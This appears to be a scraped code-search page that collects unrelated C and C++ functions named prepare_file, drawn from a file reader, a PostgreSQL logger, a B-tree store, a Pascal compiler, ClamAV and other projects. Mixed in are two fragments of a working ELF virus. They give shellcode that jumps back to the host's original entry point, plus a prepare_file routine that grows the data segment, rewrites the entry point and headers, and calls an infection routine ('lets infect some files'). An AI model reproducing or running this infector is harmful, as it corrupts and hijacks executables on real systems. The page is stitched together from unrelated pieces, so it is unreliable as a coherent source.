예제 #1
0
bool FileReader::connect () {

	if (!_provider) {
		ssi_wrn ("provider not set");
		return false;
	}

	if (!prepare_file ()) {
		ssi_err ("an error occured while reading file (%s)", _file_stream_in.getDataFile ()->getPath ());
	}

	_stopped = false;
	// set providing=true to read first chunk
	_is_providing = true;

	ssi_msg (SSI_LOG_LEVEL_BASIC, "start 'path=%s'", _options.path);
	if (ssi_log_level >= SSI_LOG_LEVEL_BASIC) {
		ssi_print ("             sample rate\t= %.2lf Hz\n\
             sample dim\t\t= %u\n\
             sample bytes\t= %u\n\
             sample number\t= %u\n\
             stream length\t= %.2fs\n",
		_stream.sr, 
		_stream.dim, 
		_stream.byte,
		_sample_number_total,
		_sample_number_total/_stream.sr);
	}
예제 #2
0
/* Dumps the histogram data into a file (with a md5 hash of the contents at the beginning). */
static
void pg_record_shmem_shutdown(int code, Datum arg) {
    
    FILE * file;
    
    /* do we need to write the queries? */
    if (query_buffer->next == 0) {
        return;
    }
    
    prepare_file(log_file, query_buffer, query_buffer->next);
    
    file = AllocateFile(log_file->curr_filename, PG_BINARY_A);
    if (file == NULL)
        goto error;
    
    /* now write the actual shared segment */
    if (fwrite(query_buffer->buffer, query_buffer->next, 1, file) != 1)
       goto error;
    
    FreeFile(file);
    
    return;

error:
    ereport(LOG,
            (errcode_for_file_access(),
             errmsg("could not write query buffer to the file \"%s\": %m",
                    log_file->curr_filename)));
    if (file)
        FreeFile(file);
    
}
예제 #3
0
/* Dumps the histogram data into a file (with a md5 hash of the contents at the beginning). */
static
void buffer_write() {
    
    FILE * file;
    
    prepare_file(log_file, query_buffer, query_buffer->next);
    
    file = AllocateFile(log_file->curr_filename, PG_BINARY_A);
    if (file == NULL)
        goto error;
    
    /* now write the actual shared segment */
    if (fwrite(query_buffer->buffer, query_buffer->next, 1, file) != 1)
        goto error;
    
    FreeFile(file);
    
    return;

error:
    ereport(LOG,
            (errcode_for_file_access(),
             errmsg("could not write query histogram file \"%s\": %m",
                    log_file->curr_filename)));
    if (file)
        FreeFile(file);
    
}
예제 #4
0
파일: btree.c 프로젝트: joerong666/hidb
static int shrink(T *thiz, T *newer)
{
    ssize_t r = 0;
    fkv_t *fkv;
    btriter_t *trit;
    btsaver_t *sv1;

    r = prepare_file(newer);
    if (r != 0) return -1;

    sv1 = btsaver_create(NULL);
    sv1->init(sv1, newer);
    sv1->start(sv1);

    trit = btriter_create(NULL);
    trit->container = thiz;
    trit->init(trit);
   
    while (trit->has_next(trit)) {
        r = trit->get_next(trit, &fkv);
        if (r != 0) break;

        if (merge_filter(fkv)) {
            continue;
        }

        extract_fkey(fkv);
        extract_fval(thiz->rfd, fkv);

        r = sv1->save_fkv(sv1, fkv);
        if (r != 0) break;

        trit->next(trit);
    }

    trit->destroy(trit);
    if (r != 0) goto _out;

    r = sv1->flush(sv1);
    if (r != 0) goto _out;

    r = update_hdr(newer, sv1->hdr);
    if (r != 0) goto _out;

_out:
    if (r != 0) r = -1;

    sv1->finish(sv1);
    sv1->destroy(sv1);

    return r;
}
예제 #5
0
int main(int argc, char **argv)
{
    int dargc;
    char **arg, **dargv;

    if (argc == 1)
    {
        printf("\nUsage :%s filename[.pas]\n\n", argv[0]);
        return 1;
    }

    memset(arena, 0, sizeof(arena));
    printf("\nCompiling...\n");

    arg = argv + 1;
    dargc = 0;
    dargv = malloc(argc * sizeof(char *));

    prepare_file(arg[0]);

    global_env.u.program.argc = dargc;
    global_env.u.program.argv = dargv;

    /*IR = &x86_dos_interface;*/

    yyparse();
    fclose(ifp);

    if (!err_occur())
    {
        emit_asm();
        print_result(pasname);
        return 0;
    }
    else
    {
        clear();
        print_result(pasname);
        return 1;
    }

    finalize();

    free(dargv);

    return 0;
}
예제 #6
0
void FileReader::run () {
	
	if (_stopped) {
		::Sleep (100);
		return;
	}

	if (_is_providing) {
		if (_file_stream_in.read (_stream) == FileStreamIn::READ_ERROR) {
			ssi_err ("an error occured while reading file (%s)", _file_stream_in.getDataFile ()->getPath ());
		}
	}

	_is_providing = _provider->provide (_stream.ptr, _stream.num);
	if (!_is_providing) {
		::Sleep (100);
		return;
	}
	SSI_DBG (SSI_LOG_LEVEL_DEBUG, "read %u samples", _stream.num);

	if (!_timer) {
		_timer = new Timer (_options.block);
	}

	if (++_step_counter >= _max_steps)
	{
		if (_options.loop) 
		{
			if (!prepare_file ()) {
				ssi_err ("an error occured while reading file (%s)", _file_stream_in.getDataFile ()->getPath ());
			}
			ssi_msg (SSI_LOG_LEVEL_DETAIL, "loop 'path=%s'", _options.path);
		}
		else
		{
			ssi_msg (SSI_LOG_LEVEL_DETAIL, "release 'path=%s'", _options.path);
			_stopped = true;
			_interrupted = false;
			_event.release ();
		}
	
	}
	
	_timer->wait ();
}
예제 #7
0
int cli_chm_prepare_file(chm_metadata_t *metadata)
{
	int retval;
	
	cli_dbgmsg("in cli_chm_prepare_file\n");

	do {
		if (metadata->chunk_entries == 0) {
			if (metadata->num_chunks == 0) {
				return CL_BREAK;
			}
			if ((retval = read_chunk(metadata)) != CL_SUCCESS) {
				return retval;
			}
			metadata->num_chunks--;
			metadata->chunk_offset += metadata->itsp_hdr.block_len;
		}
		retval = prepare_file(metadata);
	} while (retval == CL_BREAK); /* Ran out of chunk entries before finding a file */
	return retval;
}
예제 #8
0
파일: btree.c 프로젝트: joerong666/hidb
static int store(T *thiz, htable_t *htb)
{
    ssize_t r = 0;
    btsaver_t *sv;
    htiter_t *iter;

    r = prepare_file(thiz);
    if (r != 0) return -1;

    iter = htb->get_iter(htb, NULL, NULL, NULL);

    sv = btsaver_create(NULL);
    sv->init(sv, thiz);
    sv->start(sv);

    while (iter->has_next(iter)) {
        mkv_t *kv;

        iter->next(iter);
        iter->get(iter, (void **)&kv);

        DEBUG("iter key %.*s", (int)kv->k.len, kv->k.data);

        r = sv->save_kv(sv, kv);
        if (r != 0) goto _out;
    }

    r = sv->flush(sv);
    if (r != 0) goto _out;

    r = update_hdr(thiz, sv->hdr);
_out:
    if (r != 0) r = -1;

    iter->destroy(iter);
    sv->finish(sv);
    sv->destroy(sv);

    return r;
}
/*############################### MAIN ####################################*/
main(int argc,char **argv)
{
	int off=33;
	char asm_code[]= "\x57"         /* push edi */
		"\x56"                  /* push esi */
		"\x50"                  /* push eax */
		"\x53"                  /* push ebx */
		"\x51"                  /* push ecx */
		"\x52"                  /* push edx *7*/
		"\xeb\x1f"              /* jmp msg_jump */
/* msg_call:*/	"\x59"                  /* pop ecx */
		"\xb8\x04\x00\x00\x00"  /* mov eax,4 */
		"\xbb\x01\x00\x00\x00"  /* mov ebx,1 */
		"\xba\x18\x00\x00\x00"  /* mov edx,18 */
		"\xcd\x80"              /* int 0x80 */
		"\x5a"                  /* pop edx */
		"\x59"                  /* pop ecx */
		"\x5b"                  /* pop ebx */
		"\x58"                  /* pop eax */
		"\x5e"                  /* pop esi */
		"\x5f"                  /* pop edi */
		"\xbd\x00\x00\x00\x00"  /* mov ebp,0 */
		"\xff\xe5"              /* jmp ebp 
/* msg_jump:*/	"\xe8\xdc\xff\xff\xff" /* call msg_call */
		"---> www.cyneox.tk <---\n";
	
	
	if(argc!=2) {
		fprintf(stderr,"usage:%s file_to_infect\n",argv[0]);
		return 0;
	}
	
	prepare_file(argv[1],asm_code,sizeof(asm_code),off);
	
	return 0;
}
예제 #10
0
/* Dumps the histogram data into a file (with a md5 hash of the contents at the beginning). */
static
void query_write(double duration, const char * query, int len, const char * header, int hlen) {
    
    FILE * file;
    
    /* write the buffer first */
    buffer_write();
    
    /* now write the query */
    prepare_file(log_file, query_buffer, hlen + len);
    
    file = AllocateFile(log_file->curr_filename, PG_BINARY_A);
    if (file == NULL)
        goto error;
    
    /* now write the actual shared segment */
    if (fwrite(header, hlen, 1, file) != 1)
       goto error;
    
    /* now write the actual shared segment */
    if (fwrite(query, len, 1, file) != 1)
       goto error;
    
    FreeFile(file);
    
    return;

error:
    ereport(LOG,
            (errcode_for_file_access(),
             errmsg("could not write query to the file \"%s\": %m",
                    log_file->curr_filename)));
    if (file)
        FreeFile(file);
    
}
예제 #11
0
파일: main.c 프로젝트: gmange/ft_nm
int		main(int argc, char **argv)
{
	int		ret;
	int		i;

	ret = 0;
	if (argc == 1)
		ret = EXIT_FAILURE;
	else
	{
		i = 0;
		while ((ret >= 0) && ++i < argc)
			ret = prepare_file(argv[i]);
	}
	if (ret == EXIT_FAILURE)
	{
		ft_putstr_fd(" error in: ", STDERR_FILENO);
		ft_putendl_fd(*argv, STDERR_FILENO);
		ft_putstr_fd("Usage: ", STDERR_FILENO);
		ft_putstr_fd(*argv, STDERR_FILENO);
		ft_putendl_fd(" <object file> ...", STDERR_FILENO);
	}
	return (ret);
}
예제 #12
0
파일: btree.c 프로젝트: joerong666/hidb
static int restore(T *thiz)
{
    int r;
    hdr_block_t hdr;

    INFO("restoring %s", thiz->file);

    r = prepare_file(thiz);
    if (r != 0) return -1;

    r = diagnosis(thiz);
    if (r != 0) return -1;

    r = read_hdr(thiz, &hdr);
    if (r != 0) return -1;

    r = fit_file(thiz, &hdr);
    if (r != 0) return -1;

    r = update_hdr(thiz, &hdr);
    if (r != 0) return -1;

    return 0;
}
/*########################### PREPARE_FILE ###################################*/
void prepare_file(char *file,char *asm_code,int len,int offset)
{
	Elf32_Ehdr ehdr;
	Elf32_Shdr *shdr;
	Elf32_Phdr *phdr;
	char *data,*secdata;
	int fd,i,move=0,vir_offset,bss_len;
	
/* open host file ... */
	if((fd=open(file,O_RDWR))==-1) ERROR(prepare_file());
       
/* read the ELF header (ehdr)... */
	if(read(fd,&ehdr,sizeof(ehdr))<0) ERROR(prepare_file());
	
/* modify virus code so that it knows the correct reentry point after infection... */
	*(int*)&asm_code[offset]=ehdr.e_entry;
	
/* allocate memory for the prgram header(phdr) table */
	if((data=(char *)malloc(sizeof(*phdr)*ehdr.e_phnum))==NULL) ERROR(prepare_file());
	
/* reading the phdr table...*/
	if(lseek(fd,ehdr.e_phoff,SEEK_SET)<0) ERROR(prepare_file());
	if(read(fd,data,sizeof(*phdr)*ehdr.e_phnum)<0) ERROR(prepare_file());
	
	phdr=(Elf32_Phdr*)data;
	
/* loop through phdr and search for PT_LOAD (.data) */
	for(i=0;i<ehdr.e_phnum;i++)
	{
		if(phdr->p_type!=PT_DYNAMIC)
		{
			if(phdr->p_type==PT_LOAD && phdr->p_offset)
			{
                         /* we found the DATA segment */
				printf("PT_LOAD(.data) segment : \n"
				       "> p_vaddr  = 0x%x\n"               /* virtual addr pointing to first byte of DATA segment */
				       "> p_filesz = %i\n"               /* size of DATA segment in file image */
				       "> p_memsz  = %i\n"               /* size of DATA segment in memory image */
				       "> p_offset = %i\n",              /* file offset of DATA segment pointing to first byte of segment */
				       phdr->p_vaddr,phdr->p_filesz,phdr->p_memsz,phdr->p_offset);

				/* now we will set up the offset where the virus must be inserted*/
				/* the (new) entry point of host file will be set */
				/* we will find out the size of the .bss section */
				
     /*------------------------- PHDR of host file  after infection --------------------------*/
     /*          --> DATA in the file (file image) <-- 
      *       
      * +Fig.1      0 (beginning of file) 
      *             |----------------| +++++++++++++++++++++++|             
      *             |                |                        |
      *             |----------------| <- : phdr->p_offset    |+++++ vir_offset(from beginning fo file 
      *             *                *                        |                 to end of phdr->p_filesz)
      *             * phdr->p_filesz *                        |
      *             *++++++++++++++++* +++++++++++++++++++++++|
      * 
      * 
      * 
      *        --> Creating the new entry point... <--
      *       
      * +Fig.2                     0 (beginning of file)  
      *                            |---------------|
      *                            |               |
      *                            |---------------| <- : phdr->p_vaddr
      *                            *               *
      *                            * phdr->p_memsz *
      *      new entry point : ->  *+++++++++++++++*
      * ---------------------------------------------------------------------------------------*/
				
				vir_offset=phdr->p_offset+phdr->p_filesz;      /* see Fig.1 */
				ehdr.e_entry=phdr->p_memsz+phdr->p_vaddr;        /* see Fig.2 */
				bss_len=phdr->p_memsz-phdr->p_filesz;         
				
				break;
			}
		}
		++phdr;
	}
	
/* allocate memory for the section headers (SHDR) ... */
	if((secdata=(char *)malloc(sizeof(*shdr)*ehdr.e_shnum))==NULL) ERROR(prepare_file());
	
/* read the f*****g shdr's... */
	if(lseek(fd,ehdr.e_shoff,SEEK_SET)<0) ERROR(prepare_file());
	if(read(fd,secdata,sizeof(*shdr)*ehdr.e_shnum)<0) ERROR(prepare_file());
	
	
/* update the f*****g shdr's .. */
	
	shdr=(Elf32_Shdr*)secdata;
	for(i=0;i<ehdr.e_shnum;i++)
	{
		if(shdr->sh_offset>=vir_offset)
		{
			shdr->sh_offset+=len+bss_len;     /* len=size of our virus */
		}
		++shdr;
	}
/* the f***** shdr's have been update so they're ready to be written to disk */
	if(lseek(fd,ehdr.e_shoff,SEEK_SET)<0) ERROR(prepare_file());
	if(write(fd,secdata,sizeof(*shdr)*ehdr.e_shnum)<0) ERROR(prepare_file());
	
	free(secdata);
	
/* update the phdr's ... (to allow virus insertion) */
        phdr=(Elf32_Phdr*)data;
	for(i=0;i<ehdr.e_phnum;i++)
	{
		if(phdr->p_type!=PT_DYNAMIC)
		{
			if(move)
				{
					phdr->p_offset+=len+bss_len;
				}
			
			else if(phdr->p_type==PT_LOAD && phdr->p_offset)
			{
				phdr->p_filesz+=len+bss_len;
				phdr->p_memsz+=len+bss_len;
				printf("> (new) p_filsz = %i\n",phdr->p_filesz);
				printf("> (new) p_memsz = %i\n",phdr->p_memsz);
				
	/*---------------- THE PHDR AFTER UPDATING ---------------------*/
	/* 
	 *           --> DATA in the file image <--
	 * 
	 * +Fig.3     0 (beginning of file)
	 *            |---------------------|
	 *            |                     | 
	 *            |---------------------| <- : phdr->p_offset  -----|
	 *            *                     *                           |
	 *            *(old)phdr->p_filesz  *                           |
	 *            *+++++++++++++++++++++*                           |-->(new) phdr->p_filesz (from phdr->p_offset 
	 *            #                     #                           |                to end of (len+bss_len) )
	 *            #   len + bss_len     #                           |
	 *            ####################### --------------------------|
	 * 
	 * 
	 *          --> DATA in the memory image <--
	 * 
	 * +Fig.4     |---------------------|
	 *            |                     |
	 *            |---------------------| <- : phdr->p_vaddr -------|
	 *            *                     *                           |
	 *            * (old)phdr->p_memsz  *                           |
	 *            *+++++++++++++++++++++* <- : ehdr.e_entry         |-->(new) phdr->p_memsz(from phdr->p_vaddr to
	 *            #                     #                           |                the end of (len+bss_len)
	 *            #    len+bss_len      #                           |
	 *            ####################### --------------------------|
	 * ---------------------------------------------------------------*/
			  	
			      move=1;
			}
		}
		++phdr;
	}
	
/* update the phdr's to reflect the insertion of the virus... */
	if(lseek(fd,ehdr.e_phoff,SEEK_SET)<0) ERROR(prepare_file());
	if(write(fd,data,sizeof(*phdr)*ehdr.e_phnum)<0) ERROR(prepare_file());
	
	free(data);
	
/* updating ehdr... */
	if(ehdr.e_shoff>=vir_offset)
		ehdr.e_shoff+=len+bss_len;
	if(ehdr.e_phoff>=vir_offset)
		ehdr.e_phoff+=len+bss_len;
	printf("> (new) e_entry = %p\n",ehdr.e_entry);
	printf("> (new) e_shoff = %i\n",ehdr.e_shoff);
	printf("> (new) e_phoff = %i\n",ehdr.e_phoff);
	
	if(lseek(fd,0,SEEK_SET)<0) ERROR(prepare_file());
	if(write(fd,&ehdr,sizeof(ehdr))<0) ERROR(prepare_file());
	
/* yeah baby... lets infect some files !!! ;) */
	infect_me_baby(file,fd,asm_code,len,vir_offset,bss_len); 
}
예제 #14
0
/*
 *  ======== main ========
 */
int main(int argc, char * argv[])
{
    int status = 0;
    struct stat st;
    u32 size = 0;
    int i, j, o;
    char *elf_files[] = {NULL, NULL, NULL};
    int num_files = sizeof(elf_files) / sizeof(elf_files[0]);
    char *tokenstr;

    printf("###############################################################\n");
    printf("                     GENCMBELF : %s    \n", VERSION);
    printf("###############################################################\n");

    /* process arguments */
    while ((o = getopt (argc, argv, ":s:a:o:")) != -1) {
        switch (o) {
            case 's':
                elf_files[0] = optarg;
                break;
            case 'a':
                elf_files[1] = optarg;
                break;
            case 'o':
                elf_files[2] = optarg;
                break;
            case ':':
                status = -1;
                printf("Option -%c requires an operand\n", optopt);
                break;
            case '?':
                status = -1;
                printf("Unrecognized option: -%c\n", optopt);
                break;
        }
    }

    for (i = 0, j = optind; j < argc; j++) {
        while (i < num_files && elf_files[i]) {
            i++;
        }
        if (strstr(argv[j], ".xem3")) {
            if (i == num_files) {
                print_help_and_exit();
            }
            elf_files[i++] = argv[j];
        }
        else {
            if (num_tags == MAX_TAGS) {
                print_help_and_exit();
            }
            tag_name[num_tags] = strtok(argv[j], ":");
            tokenstr = strtok(NULL, ":");
            if (!tokenstr) {
                print_help_and_exit();
            }
            tag_addr[num_tags] = strtoll(tokenstr, NULL, 16);
            tokenstr = strtok(NULL, ":");
            if (!tokenstr) {
                print_help_and_exit();
            }
            tag_size[num_tags] = strtoll(tokenstr, NULL, 16);

            DEBUG_PRINT("found tag %d: name '%s' addr 0x%x size %d\n", num_tags,
                    tag_name[num_tags], tag_addr[num_tags], tag_size[num_tags]);
            num_tags++;
        }
    }

    if (status || !elf_files[0] || !elf_files[1] || !elf_files[2]) {
        print_help_and_exit();
    }

    if ((!strcmp(elf_files[0], elf_files[1])) ||
        (!strcmp(elf_files[0], elf_files[2])) ||
        (!strcmp(elf_files[1], elf_files[2]))) {
        print_help_and_exit();
    }

    DEBUG_PRINT("\nCore0 File: %s, Core1 File: %s, Output File: %s\n",
                                    elf_files[0], elf_files[1], elf_files[2]);
    status = prepare_file(elf_files[0], INPUT_FILE, &core0_info);
    if (status) {
        printf("\nError preparing file: %s\n", elf_files[0]);
        goto finish0;
    }

    status = prepare_file(elf_files[1], INPUT_FILE, &core1_info);
    if (status) {
        printf("\nError preparing file: %s\n", elf_files[1]);
        goto finish1;
    }

    status = prepare_file(elf_files[2], OUTPUT_FILE, &cores_info);
    if (status) {
        printf("\nError preparing file: %s\n", elf_files[2]);
        goto done;
    }

    status = process_image();
    if (status) {
        printf("\nError generating output file: %s\n", elf_files[2]);
        goto done;
    }
    rewind(cores_info.fp);
    fstat(fileno(cores_info.fp), &st);
    size = st.st_size;

done:
    fclose(cores_info.fp);
    if (cores_info.data) {
        free(cores_info.data);
    }
    cores_info.fp = NULL;
    cores_info.data = NULL;
finish1:
    printf("\nFinalizing input ELF file: %s of size: %d\n", elf_files[1],
                core1_info.size);
    finalize_file(&core1_info, status);
    status = 0;
finish0:
    printf("Finalizing input ELF file: %s of size: %d\n", elf_files[0],
                core0_info.size);
    finalize_file(&core0_info, status);

    if (size) {
        printf("\nProcessed Output ELF file: %s of size: %d\n\n", elf_files[2],
                        size);
    }

    return status;
}
예제 #15
0
파일: main.c 프로젝트: a554b554/Passk
int main(int argc, char **argv)
{
    int dargc;
    char **arg, **dargv;


    if (argc == 1)
    {
        printf("\nUsage :%s [-t targetmachine] [-d stad] filename[.pas]\n\n", argv[0]);
        return 1;
    }

	init_spl();

    arg = argv + 1;
    dargc = 0;
    dargv = malloc(argc * sizeof(char *));

    /*
     * arguments not recognized by main is pased to 
     * target program_begin
     */
    while(arg)
    {
        if (**(arg) == '-')
        {
            switch(arg[0][1])
            {
            case 't':
				if (strlen(*arg) == 2)
				{
                	arg++;
                	IR = find_target(*arg);
				}
				else
				{
                	IR = find_target(*arg + 2);
				}

                if (IR == NULL)
                {
                    printf("Can't find target %s, only x86dos and x86linux is supported.\n",
                           *arg);
                    return 1;
                }

                arg++;
                break;
            case 'd':
                {
                    char *p = arg[1];
                    while (*p)
                    {
                        switch(*p++)
                        {
                        case 's':
                            dump_source = 1;
                            break;
                        case 'a':
                            dump_ast = 1;
                            break;
                        case 't':
                            dump_token = 1;
                            break;
                        case 'd':
                            dump_dag = 1;
                            break;
                        default:
                            printf("Unkown dump option %c.\n", *(p - 1));
                            break;
                        }
                    }
                }
                arg++;
                arg++;
                break;
            default:
                dargv[dargc++] = *arg++;
                dargv[dargc++] = *arg++;
                break;
            }
        }
        else
        {
            prepare_file(arg[0]);
            break;
        }
    }



    global_env.u.program.argc = dargc;
    global_env.u.program.argv = dargv;

#ifndef GENERATE_AST
	IR = find_target("x86dos");
#endif

    yyparse();
    fclose(ifp);

    if (!err_occur())
    {
        emit_asm();
        print_result(pasname);
        return 0;
    }
    else
    {
        clear();
        print_result(pasname);
        return 1;
    }

    finalize();

    free(dargv);

    return 0;
}
예제 #16
0
파일: print_data.c 프로젝트: hfs/afd
/*######################### print_data_button() #########################*/
void
print_data_button(Widget w, XtPointer client_data, XtPointer call_data)
{
   char message[MAX_MESSAGE_LENGTH],
        sum_sep_line[MAX_OUTPUT_LINE_LENGTH + SHOW_LONG_FORMAT + 1];

   /* Prepare separator line. */
   (void)memset(sum_sep_line, '=', sum_line_length);
   sum_sep_line[sum_line_length] = '\0';

   if (range_type == SELECTION_TOGGLE)
   {
      int no_selected,
          *select_list;

      if (XmListGetSelectedPos(listbox_w, &select_list, &no_selected) == False)
      {
         show_message(statusbox_w, "No data selected for printing!");
         XtPopdown(printshell);

         return;
      }
      else
      {
         int           fd,
                       prepare_status;
         char          *line,
                       line_buffer[256];
         XmStringTable all_items;

         if (device_type == PRINTER_TOGGLE)
         {
            prepare_status = prepare_printer(&fd);
         }
         else
         {
            prepare_status = prepare_file(&fd, (device_type == MAIL_TOGGLE) ? 0 : 1);
            if ((prepare_status != SUCCESS) && (device_type == MAIL_TOGGLE))
            {
               prepare_tmp_name();
               prepare_status = prepare_file(&fd, 1);
            }
         }
         if (prepare_status == SUCCESS)
         {
            register int  i,
                          length;

            write_header(fd, sum_sep_line);

            XtVaGetValues(listbox_w, XmNitems, &all_items, NULL);
            for (i = 0; i < no_selected; i++)
            {
               XmStringGetLtoR(all_items[select_list[i] - 1], XmFONTLIST_DEFAULT_TAG, &line);
               length = sprintf(line_buffer, "%s\n", line);
               if (write(fd, line_buffer, length) != length)
               {
                  (void)fprintf(stderr, "write() error : %s (%s %d)\n",
                                strerror(errno), __FILE__, __LINE__);
                  XtFree(line);
                  exit(INCORRECT);
               }
               XtFree(line);
               XmListDeselectPos(listbox_w, select_list[i]);
            }
            write_summary(fd, sum_sep_line);

            /*
             * Remember to insert the correct summary, since all files
             * have now been deselected.
             */
            (void)strcpy(summary_str, total_summary_str);
            SHOW_SUMMARY_DATA();

            if (device_type == PRINTER_TOGGLE)
            {
               int  status;
               char buf;

               /* Send Control-D to printer queue. */
               buf = CONTROL_D;
               if (write(fd, &buf, 1) != 1)
               {
                  (void)fprintf(stderr, "write() error : %s (%s %d)\n",
                                strerror(errno), __FILE__, __LINE__);
                  XtFree(line);
                  exit(INCORRECT);
               }

               if ((status = pclose(fp)) < 0)
               {
                  (void)sprintf(message,
                                "Failed to send printer command (%d) : %s",
                                status, strerror(errno));
               }
               else
               {
                  (void)sprintf(message, "Send job to printer (%d)", status);
               }
            }
            else
            {
               if (close(fd) < 0)
               {
                  (void)fprintf(stderr, "close() error : %s (%s %d)\n",
                                strerror(errno), __FILE__, __LINE__);
               }
               if (device_type == MAIL_TOGGLE)
               {
                  send_mail_cmd(message);
               }
               else
               {
                  (void)sprintf(message, "Send job to file %s.", file_name);
               }
            }
         }
         XtFree((char *)select_list);
      }
   }
   else /* Print everything! */
   {
      int           fd,
                    no_of_items,
                    prepare_status;
      char          *line,
                    line_buffer[256];
      XmStringTable all_items;

      if (device_type == PRINTER_TOGGLE)
      {
         prepare_status = prepare_printer(&fd);
      }
      else
      {
         prepare_status = prepare_file(&fd, (device_type == MAIL_TOGGLE) ? 0 : 1);
         if ((prepare_status != SUCCESS) && (device_type == MAIL_TOGGLE))
         {
            prepare_tmp_name();
            prepare_status = prepare_file(&fd, 1);
         }
      }
      if (prepare_status == SUCCESS)
      {
         register int i,
                      length;

         write_header(fd, sum_sep_line);

         XtVaGetValues(listbox_w,
                       XmNitemCount, &no_of_items,
                       XmNitems,     &all_items,
                       NULL);
         for (i = 0; i < no_of_items; i++)
         {
            XmStringGetLtoR(all_items[i], XmFONTLIST_DEFAULT_TAG, &line);
            length = sprintf(line_buffer, "%s\n", line);
            if (write(fd, line_buffer, length) != length)
            {
               (void)fprintf(stderr, "write() error : %s (%s %d)\n",
                             strerror(errno), __FILE__, __LINE__);
               XtFree(line);
               exit(INCORRECT);
            }
            XtFree(line);
         }
         write_summary(fd, sum_sep_line);

         if (device_type == PRINTER_TOGGLE)
         {
            int  status;
            char buf;

            /* Send Control-D to printer queue. */
            buf = CONTROL_D;
            if (write(fd, &buf, 1) != 1)
            {
               (void)fprintf(stderr, "write() error : %s (%s %d)\n",
                             strerror(errno), __FILE__, __LINE__);
               XtFree(line);
               exit(INCORRECT);
            }

            if ((status = pclose(fp)) < 0)
            {
               (void)sprintf(message, "Failed to send printer command (%d) : %s",
                             status, strerror(errno));
            }
            else
            {
               (void)sprintf(message, "Send job to printer (%d)", status);
            }
         }
         else
         {
            if (close(fd) < 0)
            {
               (void)fprintf(stderr, "close() error : %s (%s %d)\n",
                             strerror(errno), __FILE__, __LINE__);
            }
            if (device_type == MAIL_TOGGLE)
            {
               send_mail_cmd(message);
            }
            else
            {
               (void)sprintf(message, "Send job to file %s.", file_name);
            }
         }
      }
   }

   show_message(statusbox_w, message);
   XtPopdown(printshell);

   return;
}
예제 #17
0
파일: btree.c 프로젝트: joerong666/hidb
static int split(T *thiz, T *part1, T *part2)
{
    ssize_t r = 0;
    size_t bytes = 0, i = 0, kleft = 0;
    fkv_t *fkv;
    btriter_t *trit;
    btsaver_t *sv1, *sv2;

    r = prepare_file(part1);
    if (r != 0) return -1;

    r = prepare_file(part2);
    if (r != 0) return -1;

    sv1 = btsaver_create(NULL);
    sv1->init(sv1, part1);
    sv1->start(sv1);

    sv2 = btsaver_create(NULL);
    sv2->init(sv2, part2);
    sv2->start(sv2);

    trit = btriter_create(NULL);
    trit->container = thiz;
    trit->init(trit);
   
    while (trit->has_next(trit)) {
        i++;

        r = trit->get_next(trit, &fkv);
        if (r != 0) break;

        if (merge_filter(fkv)) {
            continue;
        }

        extract_fkey(fkv);
        extract_fval(thiz->rfd, fkv);

        bytes += fkv->kv->k.len + fkv->kv->v.len;

        if (bytes > thiz->conf->ftb_size && kleft == 0) {
            kleft = thiz->hdr->key_cnt - i;
        }

        if (kleft > thiz->conf->ftb_min_kcnt) {
            r = sv2->save_fkv(sv2, fkv);
        } else {
            r = sv1->save_fkv(sv1, fkv);
        }

        if (r != 0) break;
        trit->next(trit);
    }

    trit->destroy(trit);
    if (r != 0) goto _out;

    r = sv1->flush(sv1);
    if (r != 0) goto _out;

    r = sv2->flush(sv2);
    if (r != 0) goto _out;

    r = update_hdr(part1, sv1->hdr);
    if (r != 0) goto _out;

    r = update_hdr(part2, sv2->hdr);
    if (r != 0) goto _out;

_out:
    if (r != 0) r = -1;

    sv1->finish(sv1);
    sv1->destroy(sv1);

    sv2->finish(sv2);
    sv2->destroy(sv2);

    return r;
}